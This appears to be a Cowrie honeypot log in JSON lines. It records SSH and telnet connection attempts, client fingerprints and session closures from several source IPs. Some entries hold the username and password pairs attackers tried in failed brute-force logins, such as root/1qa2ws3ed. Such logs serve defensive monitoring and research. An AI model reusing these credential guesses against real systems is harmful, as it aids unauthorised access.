{"eventid":"cowrie.session.closed","duration":39.15899586677551,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:15:13.180192Z","src_ip":"192.119.13.58","session":"a4565b9fddfd","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":37834,"dst_ip":"10.17.0.5","dst_port":23,"session":"5a7198e49396","protocol":"telnet","message":"New connection: 192.119.13.58:37834 (10.17.0.5:23) [session: 5a7198e49396]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:15:19.306695Z"}
{"eventid":"cowrie.session.closed","duration":34.558870792388916,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:15:21.249053Z","src_ip":"192.119.13.58","session":"83471dff7eee","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":49.244258642196655,"message":"Connection lost after 49 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:15:22.980645Z","src_ip":"192.119.13.58","session":"8591c1fe3639","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.95856070518494,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:15:25.526264Z","src_ip":"192.119.13.58","session":"90777c902546","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.168426513671875,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:15:30.385068Z","src_ip":"192.119.13.58","session":"310a62c82491","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"43.156.97.164","src_port":37368,"dst_ip":"159.203.135.109","dst_port":22,"session":"148f1c4328bb","protocol":"ssh","message":"New connection: 43.156.97.164:37368 (159.203.135.109:22) [session: 148f1c4328bb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:15:30.942302Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:15:30.947890Z","src_ip":"43.156.97.164","session":"148f1c4328bb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:15:31.179577Z","src_ip":"43.156.97.164","session":"148f1c4328bb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1qa2ws3ed","message":"login attempt [root/1qa2ws3ed] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:15:32.134058Z","src_ip":"43.156.97.164","session":"148f1c4328bb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":33886,"dst_ip":"10.17.0.5","dst_port":23,"session":"8d3456262707","protocol":"telnet","message":"New connection: 192.119.13.58:33886 (10.17.0.5:23) [session: 8d3456262707]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:15:32.617481Z"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:15:33.367985Z","src_ip":"43.156.97.164","session":"148f1c4328bb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":39.568028926849365,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:15:35.930663Z","src_ip":"192.119.13.58","session":"07828f1cd674","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":38528,"dst_ip":"10.17.0.5","dst_port":23,"session":"5be8d0bcdd0e","protocol":"telnet","message":"New connection: 192.119.13.58:38528 (10.17.0.5:23) [session: 5be8d0bcdd0e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:15:40.949719Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.250.105.222","src_port":46952,"dst_ip":"159.203.135.109","dst_port":22,"session":"88768f02368a","protocol":"ssh","message":"New connection: 51.250.105.222:46952 (159.203.135.109:22) [session: 88768f02368a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:15:50.379851Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:15:50.386002Z","src_ip":"51.250.105.222","session":"88768f02368a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:15:50.517564Z","src_ip":"51.250.105.222","session":"88768f02368a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Forten1883","message":"login attempt [root/Forten1883] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:15:50.915453Z","src_ip":"51.250.105.222","session":"88768f02368a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":44.71823763847351,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:15:51.903898Z","src_ip":"192.119.13.58","session":"e22b915cac02","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":55724,"dst_ip":"10.17.0.5","dst_port":23,"session":"efbf88f3fffa","protocol":"telnet","message":"New connection: 192.119.13.58:55724 (10.17.0.5:23) [session: efbf88f3fffa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:15:51.994833Z"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:15:52.049451Z","src_ip":"51.250.105.222","session":"88768f02368a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":35554,"dst_ip":"10.17.0.5","dst_port":23,"session":"13a3419fa043","protocol":"telnet","message":"New connection: 192.119.13.58:35554 (10.17.0.5:23) [session: 13a3419fa043]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:15:53.964051Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":38264,"dst_ip":"10.17.0.5","dst_port":23,"session":"b4593f237204","protocol":"telnet","message":"New connection: 192.119.13.58:38264 (10.17.0.5:23) [session: b4593f237204]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:15:54.706694Z"}
{"eventid":"cowrie.session.closed","duration":38.44001293182373,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:15:57.746591Z","src_ip":"192.119.13.58","session":"5a7198e49396","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":56234,"dst_ip":"10.17.0.5","dst_port":23,"session":"46752bfb3503","protocol":"telnet","message":"New connection: 192.119.13.58:56234 (10.17.0.5:23) [session: 46752bfb3503]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:15:59.237020Z"}
{"eventid":"cowrie.session.connect","src_ip":"41.242.115.83","src_port":57668,"dst_ip":"159.203.135.109","dst_port":22,"session":"10143b99f738","protocol":"ssh","message":"New connection: 41.242.115.83:57668 (159.203.135.109:22) [session: 10143b99f738]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:15:59.296752Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:15:59.302154Z","src_ip":"41.242.115.83","session":"10143b99f738","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:15:59.495547Z","src_ip":"41.242.115.83","session":"10143b99f738","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1qa2ws3ed","message":"login attempt [root/1qa2ws3ed] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:16:00.294651Z","src_ip":"41.242.115.83","session":"10143b99f738","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:16:01.490508Z","src_ip":"41.242.115.83","session":"10143b99f738","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":37610,"dst_ip":"10.17.0.5","dst_port":23,"session":"04958cac30e2","protocol":"telnet","message":"New connection: 192.119.13.58:37610 (10.17.0.5:23) [session: 04958cac30e2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:16:01.529329Z"}
{"eventid":"cowrie.session.closed","duration":33.78150129318237,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:16:06.398836Z","src_ip":"192.119.13.58","session":"8d3456262707","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":42.37011790275574,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:16:23.319701Z","src_ip":"192.119.13.58","session":"5be8d0bcdd0e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"91.4.14.170","src_port":35304,"dst_ip":"10.17.0.5","dst_port":22,"session":"e1af5c7c6c9f","protocol":"ssh","message":"New connection: 91.4.14.170:35304 (10.17.0.5:22) [session: e1af5c7c6c9f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:16:25.016322Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:16:25.027295Z","src_ip":"91.4.14.170","session":"e1af5c7c6c9f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:16:25.127582Z","src_ip":"91.4.14.170","session":"e1af5c7c6c9f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Zxcasdqwe123","message":"login attempt [root/Zxcasdqwe123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:16:25.548321Z","src_ip":"91.4.14.170","session":"e1af5c7c6c9f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:16:26.648931Z","src_ip":"91.4.14.170","session":"e1af5c7c6c9f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":35978,"dst_ip":"10.17.0.5","dst_port":23,"session":"063b59477d5e","protocol":"telnet","message":"New connection: 192.119.13.58:35978 (10.17.0.5:23) [session: 063b59477d5e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:16:29.855189Z"}
{"eventid":"cowrie.session.closed","duration":37.66618227958679,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:16:32.372738Z","src_ip":"192.119.13.58","session":"b4593f237204","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":40.285096406936646,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:16:34.248996Z","src_ip":"192.119.13.58","session":"13a3419fa043","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.2810275554657,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:16:34.518111Z","src_ip":"192.119.13.58","session":"46752bfb3503","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":45.58186864852905,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:16:37.576575Z","src_ip":"192.119.13.58","session":"efbf88f3fffa","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":44.05774402618408,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:16:45.586977Z","src_ip":"192.119.13.58","session":"04958cac30e2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"186.219.184.142","src_port":40246,"dst_ip":"10.17.0.5","dst_port":22,"session":"f5a41901516c","protocol":"ssh","message":"New connection: 186.219.184.142:40246 (10.17.0.5:22) [session: f5a41901516c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:16:47.123358Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:16:47.138752Z","src_ip":"186.219.184.142","session":"f5a41901516c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:16:47.276726Z","src_ip":"186.219.184.142","session":"f5a41901516c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"Ubuntu@123","message":"login attempt [ubuntu/Ubuntu@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:16:47.864299Z","src_ip":"186.219.184.142","session":"f5a41901516c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:16:49.007233Z","src_ip":"186.219.184.142","session":"f5a41901516c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.156.97.164","src_port":40226,"dst_ip":"159.203.135.109","dst_port":22,"session":"1ed0352cae89","protocol":"ssh","message":"New connection: 43.156.97.164:40226 (159.203.135.109:22) [session: 1ed0352cae89]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:16:50.610316Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:16:50.620484Z","src_ip":"43.156.97.164","session":"1ed0352cae89","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:16:50.865737Z","src_ip":"43.156.97.164","session":"1ed0352cae89","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":36470,"dst_ip":"10.17.0.5","dst_port":23,"session":"85503c14d684","protocol":"telnet","message":"New connection: 192.119.13.58:36470 (10.17.0.5:23) [session: 85503c14d684]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:16:51.394824Z"}
{"eventid":"cowrie.session.connect","src_ip":"77.94.47.83","src_port":36418,"dst_ip":"159.203.135.109","dst_port":22,"session":"3bbfe4e3341f","protocol":"ssh","message":"New connection: 77.94.47.83:36418 (159.203.135.109:22) [session: 3bbfe4e3341f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:16:51.451640Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:16:51.459121Z","src_ip":"77.94.47.83","session":"3bbfe4e3341f","protocol":"ssh"}
